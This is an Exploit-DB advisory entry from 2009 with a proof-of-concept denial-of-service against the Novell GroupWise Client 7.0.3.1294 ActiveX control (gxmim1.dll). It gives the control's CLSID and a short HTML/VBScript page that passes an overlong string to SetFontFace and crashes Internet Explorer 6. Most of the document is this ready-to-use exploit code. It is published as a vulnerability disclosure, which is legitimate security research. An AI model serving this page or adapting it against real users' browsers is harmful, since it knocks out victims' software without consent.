Novell Groupwise Client 7.0.3.1294 - ActiveX Denial of Service (PoC)

EDB-ID:

9683


Platform:

Windows

Published:

2009-09-15

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Application:  Novell Groupwise Client 7.0.3.1294
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:	      IE 6.0.2900.2180
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

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1) Introduction
2) Technical details and bug
3) The Code

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===============
1) Introduction
===============

GroupWise is a messaging and collaborative software platform from Novell that supports email, calendaring, personal information management, instant messaging, and document management. The platform consists of the client software, which is available for Windows, Mac OS X, and Linux, and the server software, which is supported on Windows Server, Netware, and Linux. The latest generation of the platform is GroupWise 8, which was launched in 2008.

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============================
2) Technical details 
============================

Name:	gxmim1.dll
Ver.:	7.0.3.1294
CLSID:	{9796BED2-C1CF-11D2-9384-0008C7396667}




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===========
3) The Code
===========

Proof of concept DoS code;


<html>
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'></object>


<script language='vbscript'>




argCount   = 1


arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

GWComposeCtl.SetFontFace arg1

</script>




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# milw0rm.com [2009-09-15]